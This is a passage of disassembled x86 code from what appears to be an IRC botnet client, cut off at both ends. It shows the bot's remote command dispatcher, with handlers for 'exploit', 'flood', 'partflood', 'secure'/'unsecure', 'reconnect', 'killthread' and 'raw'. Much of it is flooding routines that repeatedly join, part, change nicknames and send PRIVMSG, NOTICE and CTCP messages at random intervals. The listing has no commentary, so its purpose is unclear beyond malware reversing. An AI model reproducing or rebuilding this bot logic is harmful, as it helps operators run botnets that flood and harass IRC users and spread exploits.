sub_401ACD+2C3Fj cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h call ds:dword_427078 ; Sleep jmp short loc_4046F8 ; --------------------------------------------------------------------------- loc_40470E: ; CODE XREF: sub_401ACD+2C29j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42BF7C jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471F: ; CODE XREF: sub_401ACD+1019j ; sub_401ACD+102Ej mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_40473F push esi ; Str call _atoi test ax, ax pop ecx jz short loc_40473F push esi ; Str call _atoi pop ecx jmp short loc_404745 ; --------------------------------------------------------------------------- loc_40473F: ; CODE XREF: sub_401ACD+2C5Bj ; sub_401ACD+2C67j mov ax, word_429084 loc_404745: ; CODE XREF: sub_401ACD+2C70j push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax ; Dest mov [ebp+var_A00], esi mov [ebp+var_970], edi call __snprintf movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42BF50 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push edi ; int push eax ; int push [ebp+Format] ; Str push esi ; int call sub_409A73 push ebx ; int lea eax, [ebp+Dst] push 6 ; int push eax ; Source call sub_40B0F7 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40E504 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404814 loc_4047FE: ; CODE XREF: sub_401ACD+2D45j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h call ds:dword_427078 ; Sleep jmp short loc_4047FE ; --------------------------------------------------------------------------- loc_404814: ; CODE XREF: sub_401ACD+2D2Fj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42BF10 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404825: ; CODE XREF: sub_401ACD+FC5j ; sub_401ACD+FDAj ... push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40484D push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404857 loc_40484D: ; CODE XREF: sub_401ACD+2D67j mov [ebp+var_A10], 1 loc_404857: ; CODE XREF: sub_401ACD+2D7Ej push [ebp+Format] ; Format lea eax, [ebp+var_A94] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489E mov eax, offset aUnsecuring ; "Unsecuring" loc_40489E: ; CODE XREF: sub_401ACD+2DCAj push eax push offset asc_42BEDC ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 22h ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E1A push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404912 loc_4048FC: ; CODE XREF: sub_401ACD+2E43j cmp [ebp+var_A04], ebx jnz loc_4083BD push 32h call ds:dword_427078 ; Sleep jmp short loc_4048FC ; --------------------------------------------------------------------------- loc_404912: ; CODE XREF: sub_401ACD+2E2Dj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42BEA0 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_404923: ; CODE XREF: sub_401ACD+F9Bj ; sub_401ACD+FB0j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41A6AF loc_404934: ; CODE XREF: sub_401ACD+2AB9j ; sub_401ACD+2ACFj ... add esp, 0Ch jmp loc_409855 ; --------------------------------------------------------------------------- loc_40493C: ; CODE XREF: sub_401ACD+F71j ; sub_401ACD+F86j push offset unk_42BDF0 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_404946: ; CODE XREF: sub_401ACD+F47j ; sub_401ACD+F5Cj push offset aAbosel7Vs ; "abosel7 vs" push offset dword_42BDE0 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_404955: ; CODE XREF: sub_401ACD+F1Dj ; sub_401ACD+F32j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4049AF push esi ; Str call _atoi cmp eax, ebx pop ecx jl short loc_4049A7 cmp eax, 3 jge short loc_4049A7 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499F lea eax, [esi+1] push eax lea eax, [ebp+Dst] push offset asc_42D0B4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch mov [esi], bl jmp loc_40828C ; --------------------------------------------------------------------------- loc_40499F: ; CODE XREF: sub_401ACD+2EB1j push eax push offset unk_42BDB4 jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_401ACD+2E9Cj ; sub_401ACD+2EA1j push eax push offset unk_42BD88 jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_4049AF: ; CODE XREF: sub_401ACD+2E91j mov edi, [ebp+arg_18] xor esi, esi loc_4049B4: ; CODE XREF: sub_401ACD+2F03j push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4049D7 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B4 jmp loc_40828C ; --------------------------------------------------------------------------- loc_4049D7: ; CODE XREF: sub_401ACD+2EF7j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset asc_42D0B4 ; "-" loc_4049EC: ; CODE XREF: sub_401ACD+2153j ; sub_401ACD+2ED8j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf jmp loc_408289 ; --------------------------------------------------------------------------- loc_4049FD: ; CODE XREF: sub_401ACD+EF3j ; sub_401ACD+F08j push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_4034A6 call sub_40B2C0 push ebx call ds:dword_427064 ; ExitProcess loc_404A23: ; CODE XREF: sub_401ACD+1A12j push offset aGet_0 ; "get" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404AB1 cmp dword_4CEE08, ebx jz short loc_404A4B push offset byte_4CE7E8 loc_404A41: ; CODE XREF: sub_401ACD+2FE2j push offset unk_42BD4C jmp loc_404AE1 ; --------------------------------------------------------------------------- loc_404A4B: ; CODE XREF: sub_401ACD+2F6Dj push 10h pop eax mov [ebp+var_2CC], eax push eax ; Size lea eax, [ebp+var_2E8] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call ds:dword_427230 ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A41 ; --------------------------------------------------------------------------- loc_404AB1: ; CODE XREF: sub_401ACD+2F65j push esi call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh push esi ; Source jnz short loc_404AC5 push offset unk_42BD0C jmp short loc_404AE1 ; --------------------------------------------------------------------------- loc_404AC5: ; CODE XREF: sub_401ACD+2FEFj push offset byte_4CE7E8 ; Dest call _strcpy pop ecx mov dword_4CEE08, 1 pop ecx push esi push offset asc_42BCE0 ; "-" loc_404AE1: ; CODE XREF: sub_401ACD+2F79j ; sub_401ACD+2FF6j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4034FE ; --------------------------------------------------------------------------- loc_404AF5: ; CODE XREF: sub_401ACD+19FAj push edi ; Str2 push offset aExploit ; "exploit" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404BF8 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi ; Format lea eax, [ebp+var_1474] push edi ; Count push eax ; Dest mov [ebp+var_13EC], 1 call __snprintf add esp, 0Ch lea eax, [ebp+var_14F4] push esi ; Format push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+Source] ; Format push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+Dst] push offset asc_42BCA8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_40B0F7 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset sub_40B8A2 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404BE7 loc_404BD1: ; CODE XREF: sub_401ACD+3118j cmp [ebp+var_13DC], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_404BD1 ; --------------------------------------------------------------------------- loc_404BE7: ; CODE XREF: sub_401ACD+3102j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42BC68 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_404BF8: ; CODE XREF: sub_401ACD+3037j push edi ; Str2 push offset aReconnect_in ; "reconnect.in" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097C1 push edi ; Str2 push offset aRin ; "rin" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097C1 push edi ; Str2 push offset aReconnect_in_m ; "reconnect.in.ms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409779 push edi ; Str2 push offset aRinms ; "rinms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409779 push [ebp+arg_8] ; Str2 push offset aFlood ; "flood" call _strcmp mov edi, ds:dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DF call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 push [ebp+Source] ; Str2 push offset aLoad ; "load" call _strcmp add esp, 0Ch test eax, eax jnz short loc_404CFE cmp [ebp+esi+var_80], ebx jz short loc_404CFE push [ebp+esi+var_80] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Format] ; Source call sub_417A60 add esp, 0Ch lea eax, [ebp+Dst] push [ebp+esi+Str2] push [ebp+esi+Format] push [ebp+esi+var_80] push offset asc_42BC00 ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFE push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_404CFE: ; CODE XREF: sub_401ACD+31BAj ; sub_401ACD+31C0j ... push [ebp+Source] ; Str2 push offset aPm ; "pm" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404D6A mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404D6A push offset asc_42D124 ; " " push offset a_ ; "_" push eax ; Src call sub_417EEF push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_404D6A: ; CODE XREF: sub_401ACD+3242j ; sub_401ACD+324Dj push [ebp+Source] ; Str2 push offset aCt ; "ct" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404DD6 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404DD6 push offset asc_42D124 ; " " push offset a_ ; "_" push eax ; Src call sub_417EEF push eax ; Source lea eax, [ebp+var_4BF0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS ; "privmsg %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_404DD6: ; CODE XREF: sub_401ACD+32AEj ; sub_401ACD+32B9j push [ebp+Source] ; Str2 push offset aNt ; "nt" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404E42 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404E42 push offset asc_42D124 ; " " push offset a_ ; "_" push eax ; Src call sub_417EEF push eax ; Source lea eax, [ebp+var_46EC] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_0 ; "notice %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_404E42: ; CODE XREF: sub_401ACD+331Aj ; sub_401ACD+3325j push [ebp+Source] ; Str2 push offset aMode ; "mode" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404EAE mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404EAE push offset asc_42D124 ; " " push offset a_ ; "_" push eax ; Src call sub_417EEF push eax ; Source lea eax, [ebp+var_4DF0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aModeSS ; "mode %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_404EAE: ; CODE XREF: sub_401ACD+3386j ; sub_401ACD+3391j push [ebp+Source] ; Str2 push offset aJoin ; "join" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404EED mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_404EED push eax lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h loc_404EED: ; CODE XREF: sub_401ACD+33F2j ; sub_401ACD+33FDj push [ebp+Source] ; Str2 push offset aPart_0 ; "part" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404F2C mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_404F2C push eax lea eax, [ebp+Dst] push offset aPartS ; "part %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h loc_404F2C: ; CODE XREF: sub_401ACD+3431j ; sub_401ACD+343Cj push [ebp+Source] ; Str2 push offset aPartflood ; "partflood" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404F70 mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_404F70 push offset dword_427638 push eax lea eax, [ebp+Dst] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_404F70: ; CODE XREF: sub_401ACD+3470j ; sub_401ACD+347Bj push [ebp+Source] ; Str2 push offset aPnick ; "pnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404FE9 cmp [ebp+esi+Format], ebx jz short loc_404FE9 call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+Format] push offset aSI ; "%s%i" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h loc_404FE9: ; CODE XREF: sub_401ACD+34B4j ; sub_401ACD+34BDj push [ebp+Source] ; Str2 push offset aJoinPart ; "join/part" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405136 cmp [ebp+esi+Format], ebx jz loc_405136 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h lea eax, [ebp+Dst] push offset dword_427638 push [ebp+esi+Format] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset dword_427638 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset dword_427638 lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_405136: ; CODE XREF: sub_401ACD+352Dj ; sub_401ACD+353Aj push [ebp+Source] ; Str2 push offset aDcc ; "dcc" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4051D0 cmp [ebp+esi+Format], ebx jz short loc_4051D0 call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+Dst] push edx push [ebp+esi+Format] push offset aPrivmsgS_0 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 24h loc_4051D0: ; CODE XREF: sub_401ACD+367Aj ; sub_401ACD+3687j push [ebp+Source] ; Str2 push offset aNick_0 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4052D2 mov eax, [ebp+esi+Format] cmp eax, ebx jz loc_4052D2 push eax lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 lea eax, [ebp+var_4BC] push eax ; Dest call sub_417ADE add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_417ADE pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_417ADE pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h loc_4052D2: ; CODE XREF: sub_401ACD+3714j ; sub_401ACD+3723j push [ebp+Source] ; Str2 push offset aChgnick ; "chgnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405319 lea eax, [ebp+var_1808] push eax ; Dest call sub_417ADE pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h loc_405319: ; CODE XREF: sub_401ACD+3816j push [ebp+Source] ; Str2 push offset aMsg ; "msg" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405408 cmp [ebp+esi+Format], ebx jz loc_405408 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h lea eax, [ebp+Dst] push offset dword_42763C push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_405408: ; CODE XREF: sub_401ACD+385Dj ; sub_401ACD+386Aj push [ebp+Source] ; Str2 push offset aNotice_0 ; "notice" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4054F7 cmp [ebp+esi+Format], ebx jz loc_4054F7 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h lea eax, [ebp+Dst] push offset dword_42763C push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_4054F7: ; CODE XREF: sub_401ACD+394Cj ; sub_401ACD+3959j push [ebp+Source] ; Str2 push offset aCtcp ; "ctcp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40560E cmp [ebp+esi+Format], ebx jz loc_40560E push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_1 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_2 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_3 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_3 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h loc_40560E: ; CODE XREF: sub_401ACD+3A3Bj ; sub_401ACD+3A48j push [ebp+Source] ; Str2 push offset aMix ; "mix" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405734 cmp [ebp+esi+Format], ebx jz loc_405734 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_1 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset dword_42763C lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_405734: ; CODE XREF: sub_401ACD+3B52j ; sub_401ACD+3B5Fj push [ebp+Source] ; Str2 push offset aRegister ; "register" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40577A mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_40577A push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNickservRegist ; "nickserv register %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_417789 add esp, 14h loc_40577A: ; CODE XREF: sub_401ACD+3C78j ; sub_401ACD+3C83j push [ebp+Source] ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4062C4 mov edi, offset dword_4D46EC loc_405796: ; CODE XREF: sub_401ACD+3CE8j cmp dword ptr [edi-4], 1 jnz short loc_4057A9 mov eax, [edi] cmp eax, ebx jbe short loc_4057A9 push eax call dword_4CB6EC ; closesocket loc_4057A9: ; CODE XREF: sub_401ACD+3CCDj ; sub_401ACD+3CD3j add edi, 210h cmp edi, offset byte_4DAE0C jl short loc_405796 cmp [ebp+var_8], ebx jnz loc_4062C4 push ebx ; int push [ebp+var_4] ; int push offset unk_42BA48 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h jmp loc_4062C4 ; --------------------------------------------------------------------------- loc_4057DF: ; CODE XREF: sub_401ACD+3196j mov edi, [ebp+arg_8] push edi ; Str2 push offset aNick_0 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_409759 push edi ; Str2 push offset aN ; "n" call _strcmp pop ecx test eax, eax pop ecx jz loc_409759 push edi ; Str2 push offset aJoin ; "join" call _strcmp pop ecx test eax, eax pop ecx jz loc_409732 push edi ; Str2 push offset aJ ; "j" call _strcmp pop ecx test eax, eax pop ecx jz loc_409732 push edi ; Str2 push offset aPart_0 ; "part" call _strcmp pop ecx test eax, eax pop ecx jz loc_409712 push edi ; Str2 push offset aPt ; "pt" call _strcmp pop ecx test eax, eax pop ecx jz loc_409712 push edi ; Str2 push offset aRaw ; "raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_4096D6 push edi ; Str2 push offset aR ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_4096D6 push edi ; Str2 push offset aKillthread ; "killthread" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095D6 push edi ; Str2 push offset aK ; "k" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095D6 push edi ; Str2 push offset aC_quit ; "c_quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_409528 push edi ; Str2 push offset aC_q ; "c_q" call _strcmp pop ecx test eax, eax pop ecx jz loc_409528 push edi ; Str2 push offset aC_rndnick ; "c_rndnick" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094D6 push edi ; Str2 push offset aC_rn ; "c_rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094D6 push edi ; Str2 push offset aPrefix ; "prefix" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094BD push edi ; Str2 push offset aPr ; "pr" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094BD push edi ; Str2 push offset aOpen ; "open" call _strcmp pop ecx test eax, eax pop ecx jz loc_40948F push edi ; Str2 push offset aO ; "o" call _strcmp pop ecx test eax, eax pop ecx jz loc_40948F push edi ; Str2 push offset aServer_1 ; "server" call _strcmp pop ecx test eax, eax pop ecx jz loc_409472 push edi ; Str2 push offset aSe ; "se" call _strcmp pop ecx test eax, eax pop ecx jz loc_409472 push edi ; Str2 push offset aDns ; "dns" call _strcmp pop ecx test eax, eax pop ecx jz loc_409407 push edi ; Str2 push offset aDn ; "dn" call _strcmp pop ecx test eax, eax pop ecx jz 